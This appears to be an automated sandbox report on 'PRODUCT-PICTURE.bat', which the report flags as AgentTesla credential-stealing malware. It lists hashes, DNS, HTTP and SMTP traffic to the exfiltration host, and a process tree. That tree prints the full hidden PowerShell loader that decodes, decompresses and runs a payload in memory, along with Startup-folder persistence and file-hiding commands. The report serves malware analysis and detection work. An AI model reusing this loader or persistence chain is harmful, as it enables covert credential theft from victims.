SHA-512:	379F7E84772BCE880D2CAB41AC62EEBCA0370E9DFD8BC73B4418FE5F0A25552538E55DB1CE1C11D0190D6A671ADF5FE725C0A8875203C9F9ED69644112B543C1
Malicious:	true
Preview:	CreateObject("WScript.Shell").Run """C:\Users\user\AppData\Roaming\IV.bat"""

C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq

Download File

Process:	C:\Windows\System32\xcopy.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	433152
Entropy (8bit):	5.502549953174867
Encrypted:	false
SSDEEP:	6144:MF45pGVc4sqEoWwO9sV1yZywi/PzNKXzJ7BapCK5d3klRzULOnWyjLsPhAQzqO:95pGVcwW2KXzJ4pdd3klnnWosPhnzq
MD5:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
SHA1:	F5EE89BB1E4A0B1C3C7F1E8D05D0677F2B2B5919
SHA-256:	73A3C4AEF5DE385875339FC2EB7E58A9E8A47B6161BDC6436BF78A763537BE70
SHA-512:	6E43DCA1B92FAACE0C910CBF9308CF082A38DD39DA32375FAD72D6517DEA93E944B5E5464CF3C69A61EABF47B2A3E5AA014D6F24EFA1A379D4C81C32FA39DDBC
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Fattura-24SC-99245969925904728562.vbs, Detection: malicious, Browse Filename: ilZhNx3JAc.bat, Detection: malicious, Browse Filename: 87M9Y3P4Z7.bat, Detection: malicious, Browse Filename: ip4.cmd, Detection: malicious, Browse Filename: , Detection: malicious, Browse Filename: 849128312.cmd, Detection: malicious, Browse Filename: Tracking#1Z379W410424496200.vbs, Detection: malicious, Browse Filename: Rechnung0192839182.pdf, Detection: malicious, Browse Filename: Rechnung-62671596778856538170.vbs, Detection: malicious, Browse Filename: Original Invoice.vbs, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......".z.fg..fg..fg..x5..dg..o...lg..r...eg..r...}g..fg...g..r...cg..r...og..r...ng..r..gg..r...gg..Richfg..........................PE..L...s/.0..........................................@......................................@...... ...........................".......0...}......................\|....I..T............................................ ...............................text...\........................... ..`.data...8...........................@....idata....... ......................@..@.rsrc....}...0...~..................@..@.reloc..\|...........................@..B........................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	Unicode text, UTF-8 text, with very long lines (57001), with CRLF, CR, LF line terminators
Entropy (8bit):	6.033187212958361
TrID:
File name:	PRODUCT-PICTURE.bat
File size:	1'512'865 bytes
MD5:	f131dee7460f93f201972c93f2d69ae5
SHA1:	124fb3a362a9677c249670cb3440c6881a4507e3
SHA256:	4429d220f63c6d7804095c2d67eeecde325e4989393dc67be19bb61d5833c880
SHA512:	644976c42ef20fd991eff6ed168308180ffb6f0da19f9a905dc513b9a3c680e09131b033756fd1266ddda046cf4dfbf736f8c99e452d015981abaaf4021dae40
SSDEEP:	24576:vo9pmMNIqPBiS5pMXC8D04D7w2tPIw0Lxqr8nB0N8HVh+914Cuw6dpjDHxo:wr36ShkXCjx4Nh45w2je
TLSH:	1F6533A4CE293D568E7CD38CF22E5E585BD89B804CDCECCF8955E0C798BBB525885C60
File Content Preview:	@chcp 65001..set "..........=C:\Win"..set "............=echo F"..set "..........=owsPow"..set "..........=ysWOW6"..:: Zeixc Ecmpyyboifa Etipoy..:: Mwrzhz Zrfhaxwq..:: Ncpiw Zioxtkxa..:: Omsbqryevl Pjsqjhid Eltlxcxdjbo..set "..............=py /d "..set "..

File Icon


Icon Hash:	9686878b929a9886

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-03T07:28:15.612437+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.245.163.56	443	192.168.2.4	49732	TCP
2024-11-03T07:28:54.727470+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.245.163.56	443	192.168.2.4	49740	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 3, 2024 07:27:58.174712896 CET	49730	80	192.168.2.4	208.95.112.1
Nov 3, 2024 07:27:58.179615974 CET	80	49730	208.95.112.1	192.168.2.4
Nov 3, 2024 07:27:58.179681063 CET	49730	80	192.168.2.4	208.95.112.1
Nov 3, 2024 07:27:58.180517912 CET	49730	80	192.168.2.4	208.95.112.1
Nov 3, 2024 07:27:58.185386896 CET	80	49730	208.95.112.1	192.168.2.4
Nov 3, 2024 07:27:58.933830976 CET	80	49730	208.95.112.1	192.168.2.4
Nov 3, 2024 07:27:58.982614994 CET	49730	80	192.168.2.4	208.95.112.1
Nov 3, 2024 07:27:59.862567902 CET	49731	587	192.168.2.4	163.44.198.71
Nov 3, 2024 07:27:59.867382050 CET	587	49731	163.44.198.71	192.168.2.4
Nov 3, 2024 07:27:59.867511988 CET	49731	587	192.168.2.4	163.44.198.71
Nov 3, 2024 07:28:01.272861958 CET	587	49731	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:01.273133993 CET	49731	587	192.168.2.4	163.44.198.71
Nov 3, 2024 07:28:01.278053999 CET	587	49731	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:01.640969038 CET	587	49731	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:01.642317057 CET	49731	587	192.168.2.4	163.44.198.71
Nov 3, 2024 07:28:01.647615910 CET	587	49731	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:02.014173031 CET	587	49731	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:02.060772896 CET	49731	587	192.168.2.4	163.44.198.71
Nov 3, 2024 07:28:02.073900938 CET	49731	587	192.168.2.4	163.44.198.71
Nov 3, 2024 07:28:02.078731060 CET	587	49731	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:02.458533049 CET	587	49731	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:02.458551884 CET	587	49731	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:02.458563089 CET	587	49731	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:02.458616972 CET	49731	587	192.168.2.4	163.44.198.71
Nov 3, 2024 07:28:02.485996008 CET	49731	587	192.168.2.4	163.44.198.71
Nov 3, 2024 07:28:02.490771055 CET	587	49731	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:02.853838921 CET	587	49731	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:02.869765043 CET	49731	587	192.168.2.4	163.44.198.71
Nov 3, 2024 07:28:02.874627113 CET	587	49731	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:03.237078905 CET	587	49731	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:03.238163948 CET	49731	587	192.168.2.4	163.44.198.71
Nov 3, 2024 07:28:03.243006945 CET	587	49731	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:03.607305050 CET	587	49731	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:03.607765913 CET	49731	587	192.168.2.4	163.44.198.71
Nov 3, 2024 07:28:03.612652063 CET	587	49731	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:03.997313023 CET	587	49731	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:03.997631073 CET	49731	587	192.168.2.4	163.44.198.71
Nov 3, 2024 07:28:04.003195047 CET	587	49731	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:04.365736008 CET	587	49731	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:04.384226084 CET	49731	587	192.168.2.4	163.44.198.71
Nov 3, 2024 07:28:04.399818897 CET	587	49731	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:05.033029079 CET	587	49731	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:05.033217907 CET	49731	587	192.168.2.4	163.44.198.71
Nov 3, 2024 07:28:05.038139105 CET	587	49731	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:05.406800985 CET	587	49731	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:05.407352924 CET	49731	587	192.168.2.4	163.44.198.71
Nov 3, 2024 07:28:05.407422066 CET	49731	587	192.168.2.4	163.44.198.71
Nov 3, 2024 07:28:05.407452106 CET	49731	587	192.168.2.4	163.44.198.71
Nov 3, 2024 07:28:05.407476902 CET	49731	587	192.168.2.4	163.44.198.71
Nov 3, 2024 07:28:05.412317991 CET	587	49731	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:05.412331104 CET	587	49731	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:05.412343025 CET	587	49731	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:05.412354946 CET	587	49731	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:05.780344009 CET	587	49731	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:05.826406002 CET	49731	587	192.168.2.4	163.44.198.71
Nov 3, 2024 07:28:12.597048044 CET	49733	80	192.168.2.4	208.95.112.1
Nov 3, 2024 07:28:12.601903915 CET	80	49733	208.95.112.1	192.168.2.4
Nov 3, 2024 07:28:12.602185965 CET	49733	80	192.168.2.4	208.95.112.1
Nov 3, 2024 07:28:12.603033066 CET	49733	80	192.168.2.4	208.95.112.1
Nov 3, 2024 07:28:12.607831955 CET	80	49733	208.95.112.1	192.168.2.4
Nov 3, 2024 07:28:13.355261087 CET	80	49733	208.95.112.1	192.168.2.4
Nov 3, 2024 07:28:13.404560089 CET	49733	80	192.168.2.4	208.95.112.1
Nov 3, 2024 07:28:14.470356941 CET	49735	587	192.168.2.4	163.44.198.71
Nov 3, 2024 07:28:14.475542068 CET	587	49735	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:14.475600958 CET	49735	587	192.168.2.4	163.44.198.71
Nov 3, 2024 07:28:15.596982956 CET	587	49735	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:15.598640919 CET	49735	587	192.168.2.4	163.44.198.71
Nov 3, 2024 07:28:15.603534937 CET	587	49735	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:15.911272049 CET	49731	587	192.168.2.4	163.44.198.71
Nov 3, 2024 07:28:15.911669970 CET	49730	80	192.168.2.4	208.95.112.1
Nov 3, 2024 07:28:15.950617075 CET	587	49735	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:15.950810909 CET	49735	587	192.168.2.4	163.44.198.71
Nov 3, 2024 07:28:15.955632925 CET	587	49735	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:16.304342985 CET	587	49735	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:16.307478905 CET	49735	587	192.168.2.4	163.44.198.71
Nov 3, 2024 07:28:16.312372923 CET	587	49735	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:16.678668976 CET	587	49735	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:16.678697109 CET	587	49735	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:16.678714991 CET	587	49735	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:16.678734064 CET	587	49735	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:16.678760052 CET	49735	587	192.168.2.4	163.44.198.71
Nov 3, 2024 07:28:16.678792000 CET	49735	587	192.168.2.4	163.44.198.71
Nov 3, 2024 07:28:16.680176973 CET	49735	587	192.168.2.4	163.44.198.71
Nov 3, 2024 07:28:16.684952021 CET	587	49735	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:17.031621933 CET	587	49735	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:17.044059992 CET	49735	587	192.168.2.4	163.44.198.71
Nov 3, 2024 07:28:17.049034119 CET	587	49735	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:17.395979881 CET	587	49735	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:17.396337032 CET	49735	587	192.168.2.4	163.44.198.71
Nov 3, 2024 07:28:17.401258945 CET	587	49735	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:17.748709917 CET	587	49735	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:17.752108097 CET	49735	587	192.168.2.4	163.44.198.71
Nov 3, 2024 07:28:17.756989956 CET	587	49735	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:18.119740963 CET	587	49735	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:18.119973898 CET	49735	587	192.168.2.4	163.44.198.71
Nov 3, 2024 07:28:18.124753952 CET	587	49735	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:18.471703053 CET	587	49735	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:18.471910954 CET	49735	587	192.168.2.4	163.44.198.71
Nov 3, 2024 07:28:18.476773024 CET	587	49735	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:18.898641109 CET	587	49735	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:18.898838997 CET	49735	587	192.168.2.4	163.44.198.71
Nov 3, 2024 07:28:18.903853893 CET	587	49735	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:19.250488997 CET	587	49735	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:19.251050949 CET	49735	587	192.168.2.4	163.44.198.71
Nov 3, 2024 07:28:19.251107931 CET	49735	587	192.168.2.4	163.44.198.71
Nov 3, 2024 07:28:19.251121998 CET	49735	587	192.168.2.4	163.44.198.71
Nov 3, 2024 07:28:19.251147985 CET	49735	587	192.168.2.4	163.44.198.71
Nov 3, 2024 07:28:19.255945921 CET	587	49735	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:19.255959988 CET	587	49735	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:19.255999088 CET	587	49735	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:19.256012917 CET	587	49735	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:19.608256102 CET	587	49735	163.44.198.71	192.168.2.4
Nov 3, 2024 07:28:19.755335093 CET	49735	587	192.168.2.4	163.44.198.71
Nov 3, 2024 07:29:04.485219002 CET	49733	80	192.168.2.4	208.95.112.1
Nov 3, 2024 07:29:04.490386009 CET	80	49733	208.95.112.1	192.168.2.4
Nov 3, 2024 07:29:04.490482092 CET	49733	80	192.168.2.4	208.95.112.1
Nov 3, 2024 07:29:54.506133080 CET	49735	587	192.168.2.4	163.44.198.71
Nov 3, 2024 07:29:54.511187077 CET	587	49735	163.44.198.71	192.168.2.4
Nov 3, 2024 07:29:54.858860970 CET	587	49735	163.44.198.71	192.168.2.4
Nov 3, 2024 07:29:54.904858112 CET	49735	587	192.168.2.4	163.44.198.71
Nov 3, 2024 07:29:55.189944029 CET	49735	587	192.168.2.4	163.44.198.71

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 3, 2024 07:27:58.162077904 CET	53061	53	192.168.2.4	1.1.1.1
Nov 3, 2024 07:27:58.168819904 CET	53	53061	1.1.1.1	192.168.2.4
Nov 3, 2024 07:27:59.467986107 CET	49748	53	192.168.2.4	1.1.1.1
Nov 3, 2024 07:27:59.859199047 CET	53	49748	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 3, 2024 07:27:58.162077904 CET	192.168.2.4	1.1.1.1	0xe57b	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false
Nov 3, 2024 07:27:59.467986107 CET	192.168.2.4	1.1.1.1	0xae24	Standard query (0)	nffplp.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 3, 2024 07:27:58.168819904 CET	1.1.1.1	192.168.2.4	0xe57b	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false
Nov 3, 2024 07:27:59.859199047 CET	1.1.1.1	192.168.2.4	0xae24	No error (0)	nffplp.com		163.44.198.71	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	208.95.112.1	80	7580	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 07:27:58.180517912 CET	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Nov 3, 2024 07:27:58.933830976 CET	174	IN	HTTP/1.1 200 OK Date: Sun, 03 Nov 2024 06:27:58 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 5 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 74 72 75 65 0a Data Ascii: true

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49733	208.95.112.1	80	8084	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Nov 3, 2024 07:28:12.603033066 CET	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Nov 3, 2024 07:28:13.355261087 CET	174	IN	HTTP/1.1 200 OK Date: Sun, 03 Nov 2024 06:28:13 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 5 Access-Control-Allow-Origin: * X-Ttl: 45 X-Rl: 43 Data Raw: 74 72 75 65 0a Data Ascii: true

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Nov 3, 2024 07:28:01.272861958 CET	587	49731	163.44.198.71	192.168.2.4	220-cpanel16wh.bkk1.cloud.z.com ESMTP Exim 4.96.2 #2 Sun, 03 Nov 2024 13:28:01 +0700 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Nov 3, 2024 07:28:01.273133993 CET	49731	587	192.168.2.4	163.44.198.71	EHLO 367706
Nov 3, 2024 07:28:01.640969038 CET	587	49731	163.44.198.71	192.168.2.4	250-cpanel16wh.bkk1.cloud.z.com Hello 367706 [96.44.151.123] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
Nov 3, 2024 07:28:01.642317057 CET	49731	587	192.168.2.4	163.44.198.71	STARTTLS
Nov 3, 2024 07:28:02.014173031 CET	587	49731	163.44.198.71	192.168.2.4	220 TLS go ahead
Nov 3, 2024 07:28:15.596982956 CET	587	49735	163.44.198.71	192.168.2.4	220-cpanel16wh.bkk1.cloud.z.com ESMTP Exim 4.96.2 #2 Sun, 03 Nov 2024 13:28:15 +0700 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
Nov 3, 2024 07:28:15.598640919 CET	49735	587	192.168.2.4	163.44.198.71	EHLO 367706
Nov 3, 2024 07:28:15.950617075 CET	587	49735	163.44.198.71	192.168.2.4	250-cpanel16wh.bkk1.cloud.z.com Hello 367706 [96.44.151.123] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-STARTTLS 250 HELP
Nov 3, 2024 07:28:15.950810909 CET	49735	587	192.168.2.4	163.44.198.71	STARTTLS
Nov 3, 2024 07:28:16.304342985 CET	587	49735	163.44.198.71	192.168.2.4	220 TLS go ahead

Target ID:	0
Start time:	01:27:55
Start date:	03/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\PRODUCT-PICTURE.bat" "
Imagebase:	0x7ff64f8c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	01:27:55
Start date:	03/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	01:27:55
Start date:	03/11/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff744bb0000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	01:27:55
Start date:	03/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /S /D /c" echo F "
Imagebase:	0x7ff64f8c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	01:27:55
Start date:	03/11/2024
Path:	C:\Windows\System32\xcopy.exe
Wow64 process (32bit):	false
Commandline:	xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq
Imagebase:	0x7ff6553b0000
File size:	50'688 bytes
MD5 hash:	39FBFD3AF58238C6F9D4D408C9251FF5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	01:27:55
Start date:	03/11/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +s +h C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq
Imagebase:	0x7ff7f40d0000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	01:27:55
Start date:	03/11/2024
Path:	C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\PRODUCT-PICTURE.bat.Usq -WindowStyle hidden -command "$Gcbnyd = get-content 'C:\Users\user\Desktop\PRODUCT-PICTURE.bat' \| Select-Object -Last 1; $Wbqkngq = [System.Convert]::FromBase64String($Gcbnyd);$Wwtukg = New-Object System.IO.MemoryStream( , $Wbqkngq );$Dsvtbpwioop = New-Object System.IO.MemoryStream;$Aslrlsosng = New-Object System.IO.Compression.GzipStream $Wwtukg, ([IO.Compression.CompressionMode]::Decompress);$Aslrlsosng.CopyTo( $Dsvtbpwioop );$Aslrlsosng.Close();$Wwtukg.Close();[byte[]] $Wbqkngq = $Dsvtbpwioop.ToArray();[Array]::Reverse($Wbqkngq); $Fmbtk = [System.AppDomain]::CurrentDomain.Load($Wbqkngq); $Gxbkjncruwk = $Fmbtk.EntryPoint; $Gxbkjncruwk.DeclaringType.InvokeMember($Gxbkjncruwk.Name, [System.Reflection.BindingFlags]::InvokeMethod, $null, $null, $null)\| Out-Null"
Imagebase:	0xa00000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000006.00000002.1691416942.0000000004F3D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000006.00000002.1717457577.0000000008F01000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.1691416942.0000000005252000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000006.00000002.1691416942.0000000005252000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000006.00000002.1716108086.0000000008DA0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.1717457577.000000000932C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000006.00000002.1717457577.000000000932C000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	01:27:57
Start date:	03/11/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Imagebase:	0x160000
File size:	42'064 bytes
MD5 hash:	5D4073B2EB6D217C19F2B22F21BF8D57
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000002.1851117806.0000000002531000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000007.00000002.1851117806.0000000002531000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000007.00000002.1851117806.000000000255D000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000007.00000002.1851117806.0000000002581000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000007.00000002.1835721747.0000000000532000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000007.00000002.1835721747.0000000000532000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	01:28:08
Start date:	03/11/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IV.vbs"
Imagebase:	0x7ff79dce0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	01:28:08
Start date:	03/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\IV.bat" "
Imagebase:	0x7ff64f8c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	01:28:08
Start date:	03/11/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	01:28:08
Start date:	03/11/2024
Path:	C:\Windows\System32\chcp.com
Wow64 process (32bit):	false
Commandline:	chcp 65001
Imagebase:	0x7ff744bb0000
File size:	14'848 bytes
MD5 hash:	33395C4732A49065EA72590B14B64F32
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	01:28:08
Start date:	03/11/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /S /D /c" echo F "
Imagebase:	0x7ff64f8c0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Analysis Process: xcopy.exePID: 7888, Parent PID: 7816

General

Target ID:	13
Start time:	01:28:08
Start date:	03/11/2024
Path:	C:\Windows\System32\xcopy.exe
Wow64 process (32bit):	false
Commandline:	xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\user\AppData\Roaming\IV.bat.Usq
Imagebase:	0x7ff6553b0000
File size:	50'688 bytes
MD5 hash:	39FBFD3AF58238C6F9D4D408C9251FF5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	01:28:08
Start date:	03/11/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +s +h C:\Users\user\AppData\Roaming\IV.bat.Usq
Imagebase:	0x7ff7f40d0000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

